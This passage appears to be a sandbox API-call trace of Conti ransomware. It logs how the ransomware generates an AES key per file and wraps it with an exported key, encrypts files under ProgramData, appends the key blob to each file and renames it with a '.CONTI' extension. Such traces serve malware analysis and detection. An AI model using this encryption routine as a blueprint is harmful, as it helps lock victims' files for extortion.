	[0113.956] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.956] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.957] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.957] WriteFile (in: hFile=0x380, lpBuffer=0x6b47760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b47760*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.957] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.957] CloseHandle (hObject=0x380) returned 1
	[0113.957] GetProcessHeap () returned 0x1720000
	[0113.957] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.957] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml"
	[0113.957] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.957] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.958] GetProcessHeap () returned 0x1720000
	[0113.958] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.958] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.958] GetProcessHeap () returned 0x1720000
	[0113.958] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4770 | out: hHeap=0x1720000) returned 1
	[0113.958] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.958] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x17c78b0) returned 1
	[0113.958] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x37ffcec | out: pbData=0x6b47bfc*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.959] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.961] GetLastError () returned 0x0
	[0113.961] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=667) returned 1
	[0113.961] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29b
	[0113.961] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.961] SetEndOfFile (hFile=0x380) returned 1
	[0113.961] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.961] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.961] WriteFile (in: hFile=0x380, lpBuffer=0x6b47bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b47bfc*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.967] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.968] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x29b, lpOverlapped=0x0) returned 1
	[0113.968] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x29b, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2a0) returned 1
	[0113.968] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.968] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2a0, lpOverlapped=0x0) returned 1
	[0113.968] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.968] WriteFile (in: hFile=0x380, lpBuffer=0x6b47bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b47bf0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.968] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.968] CloseHandle (hObject=0x380) returned 1
	[0113.968] GetProcessHeap () returned 0x1720000
	[0113.968] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.968] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml"
	[0113.968] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.968] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.969] GetProcessHeap () returned 0x1720000
	[0113.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.969] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.969] GetProcessHeap () returned 0x1720000
	[0113.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f99d8 | out: hHeap=0x1720000) returned 1
	[0113.969] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.969] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b48088 | out: phKey=0x6b48088*=0x17c7830) returned 1
	[0113.969] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4808c, pdwDataLen=0x37ffcec | out: pbData=0x6b4808c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.970] GetLastError () returned 0x0
	[0113.970] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=1002) returned 1
	[0113.970] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea
	[0113.970] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.970] SetEndOfFile (hFile=0x380) returned 1
	[0113.971] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.971] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.971] WriteFile (in: hFile=0x380, lpBuffer=0x6b4808c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b4808c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.057] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.057] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x3ea, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x3ea, lpOverlapped=0x0) returned 1
	[0115.057] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x3ea, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x3f0) returned 1
	[0115.057] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.057] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x3f0, lpOverlapped=0x0) returned 1
	[0115.058] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.058] WriteFile (in: hFile=0x380, lpBuffer=0x6b48080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b48080*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0115.058] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.058] CloseHandle (hObject=0x380) returned 1
	[0115.529] GetProcessHeap () returned 0x1720000
	[0115.529] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.529] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml"
	[0115.529] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0115.530] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0117.225] GetProcessHeap () returned 0x1720000
	[0117.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0117.235] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0117.235] GetProcessHeap () returned 0x1720000
	[0117.235] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1110 | out: hHeap=0x1720000) returned 1
	[0117.235] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.235] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65cf0a8 | out: phKey=0x65cf0a8*=0x6b7f338) returned 1
	[0117.235] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf0ac, pdwDataLen=0x37ffcec | out: pbData=0x65cf0ac*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.236] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.236] GetLastError () returned 0x0
	[0117.237] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=8192) returned 1
	[0117.237] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.237] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.237] SetEndOfFile (hFile=0x2ec) returned 1
	[0117.237] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.237] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.237] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cf0ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65cf0ac*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.238] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.238] ReadFile (in: hFile=0x2ec, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2000, lpOverlapped=0x0) returned 1
	[0117.239] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2010) returned 1
	[0117.239] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.239] WriteFile (in: hFile=0x2ec, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2010, lpOverlapped=0x0) returned 1
	[0117.239] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.239] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cf0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65cf0a0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0117.239] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.239] CloseHandle (hObject=0x2ec) returned 1
	[0117.239] GetProcessHeap () returned 0x1720000
	[0117.239] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.239] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.240] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.240] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.240] GetProcessHeap () returned 0x1720000
	[0117.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.240] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.240] GetProcessHeap () returned 0x1720000
	[0117.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdf50 | out: hHeap=0x1720000) returned 1
	[0117.240] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0117.241] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65d5508 | out: phKey=0x65d5508*=0x6b7f5b8) returned 1
	[0117.241] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d550c, pdwDataLen=0x37ffcec | out: pbData=0x65d550c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0117.242] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0117.243] GetLastError () returned 0x0
